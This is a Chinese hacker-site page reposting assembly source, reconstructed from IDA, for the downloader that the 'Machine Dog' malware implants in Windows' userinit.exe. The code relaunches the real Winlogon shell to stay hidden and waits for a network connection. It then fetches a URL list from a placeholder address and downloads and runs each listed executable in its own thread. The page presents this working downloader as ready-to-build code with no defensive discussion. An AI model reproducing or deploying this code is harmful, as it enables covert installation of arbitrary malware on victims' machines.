黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]机器狗写入到userinit.exe文件的下载者源码
        ★★★★★

机器狗写入到userinit.exe文件的下载者源码

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-2-26 12:07:36
文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章备注:从IDA中复制,稍作修改所得。
ASM
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 .386
 .model flat,stdcall
 option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 .data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath
 
 local @ProcessInformation:PROCESS_INFORMATION
 local @StartupInfo:STARTUPINFO
 
 
 invoke GetStartupInfo,addr @StartupInfo
 invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr @ProcessInformation
 .if eax == 0
 invoke CloseHandle,@ProcessInformation.hThread
 invoke CloseHandle,@ProcessInformation.hProcess
 .endif
 
 leave
 retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer
 
 local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
 local @lpbuffer[200h]:BYTE
 
 xor eax, eax
 mov @nWriteCount, eax
 invoke InternetOpen,addr szAgent,0,0,0,0
 .if eax != 0
 mov @hInternet, eax
 invoke InternetSetOption,@hInternet,2,@Buffer,4
 invoke InternetSetOption,@hInternet,6,@Buffer,4
 invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
 .if eax != 0
 mov @hInternetFile, eax
 mov @nNumberOfBytesToWrite, 0
 mov @NumberOfBytesWritten, 200h
 invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
 addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
 .if eax != 0
 invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
 .if eax != 0FFFFFFFFh
 mov @hLocalFile, eax
 .while TRUE
 mov @nNumberOfBytesToWrite, 0
 invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr @nNumberOfBytesToWrite
 .break .if (!eax)
 .break .if (@nNumberOfBytesToWrite==0)
 inc @nWriteCount
 invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
 addr @NumberOfBytesWritten,0
 .endw
 invoke SetEndOfFile,@hLocalFile
 invoke CloseHandle,@hLocalFile
 .endif
 .endif
 invoke InternetCloseHandle,@hInternetFile
 .endif
 invoke InternetCloseHandle,@hInternet
 .endif
 mov eax, @nWriteCount
 leave
 retn 0Ch
 
_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL
 
 local @DownTimes
 local @TempFileName[204h]:BYTE
 local @TempFileName2[204h]:BYTE
 local @szUrl[104h]:BYTE
 
 mov @DownTimes, 3Ch
 invoke lstrcpy,addr @szUrl,@lpURL
 invoke RtlZeroMemory,addr @TempFileName,204
 invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
 invoke lstrcpy,addr @TempFileName2,addr @TempFileName
 
DownloadNxTime:
 invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
 or eax, eax
 jz DownloadFailed
 invoke lstrcpy,addr @TempFileName,addr @TempFileName2
 invoke _RunIt,addr @TempFileName
 jmp DownloadEnd
; ---------------------------------------------------------------------------
 
DownloadFailed:
 invoke Sleep,3E8h
 dec @DownTimes
 jnz DownloadNxTime
 
DownloadEnd:
 dec nThreadCount
 leave
 retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc
 
 local hKey,hObject,hFile,lpBaseAddress,ThreadId
 local szShellValue[104h]:BYTE
 
 invoke LoadLibrary,offset szUser32Dll
 or eax, eax
 jz RegQueryShell
 invoke GetProcAddress,eax,offset szLoadRemoteFonts
 or eax, eax
 jz RegQueryShell
 call eax
 
RegQueryShell:
 
 invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
 or eax, eax
 jnz TestInternet
 mov ThreadId, 104h
 invoke RtlZeroMemory,addr szShellValue,104h
 invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
 invoke _RunIt,addr szShellValue
 invoke RegCloseKey,hKey
 
TestInternet:
 
 invoke Sleep,3E8h
 invoke InternetGetConnectedState,addr ThreadId,0
 or eax, eax
 jnz InternetConnect_OK
 jmp TestInternet
; ---------------------------------------------------------------------------
 
InternetConnect_OK:
 invoke RtlZeroMemory,addr szShellValue,104h
 invoke GetTempFileName,offset PathName,0,0,addr szShellValue
 
DownList:
 
 invoke Sleep,3E8h
 invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
 or eax, eax
 jz DownListFailed
 
 
 mov nThreadCount, 0
 invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
 cmp eax, INVALID_HANDLE_VALUE
 jz ReaptDownList
 
 
 mov hFile, eax
 invoke GetFileSize,hFile,0
 cmp eax, 0Fh
 jnb BeginDownEXE
 invoke CloseHandle,hFile
 jmp DownList
; ---------------------------------------------------------------------------
 
BeginDownEXE:
 invoke CreateFileMapping,hFile,0,2,0,0,0
 or eax, eax
 jz CreateMapFailed
 mov hObject, eax
 invoke MapViewOfFile,eax,4,0,0,0
 or eax, eax
 jz MapViewFailed
 
 mov lpBaseAddress, eax
 mov esi, eax
 
loc_4005E1:
 lea edi, szShellValue
 push 104h
 push edi
 call RtlZeroMemory
 
WetherNewLine:
 lodsb
 cmp al, 0Ah
 jnz loc_4005F8
 lodsb
 
loc_4005F8:
 cmp al, 0Dh
 jz loc_400605
 stosb
 or al, al
 jz UrlListEnd
 jmp WetherNewLine
; ---------------------------------------------------------------------------
 jmp UrlListEnd
; ---------------------------------------------------------------------------
 
loc_400605:
 cmp szShellValue, 0
 jz NextLine
 inc nThreadCount
 invoke CreateThread,0,0,offset _DownloadEXERunIt,addr szShellValue,0,addr ThreadId
 invoke CloseHandle,eax
 invoke Sleep,64h
 
NextLine:
 jmp loc_4005E1
; ---------------------------------------------------------------------------
 
UrlListEnd:
 
 invoke UnmapViewOfFile,lpBaseAddress
 
MapViewFailed:
 invoke CloseHandle,hObject
 
CreateMapFailed:
 invoke CloseHandle,hFile
 jmp WetherTreadend
; ---------------------------------------------------------------------------
 
ReaptDownList:
 jmp DownList
; ---------------------------------------------------------------------------
 jmp WetherTreadend
; ---------------------------------------------------------------------------
 
DownListFailed:
 jmp DownList
; ---------------------------------------------------------------------------
 
WetherTreadend:
 
 cmp nThreadCount, 0
 jz ExitProgram
 invoke Sleep,64h
 jmp WetherTreadend
; ---------------------------------------------------------------------------
 
ExitProgram:
 invoke ExitProcess,0
 
main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 end start
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886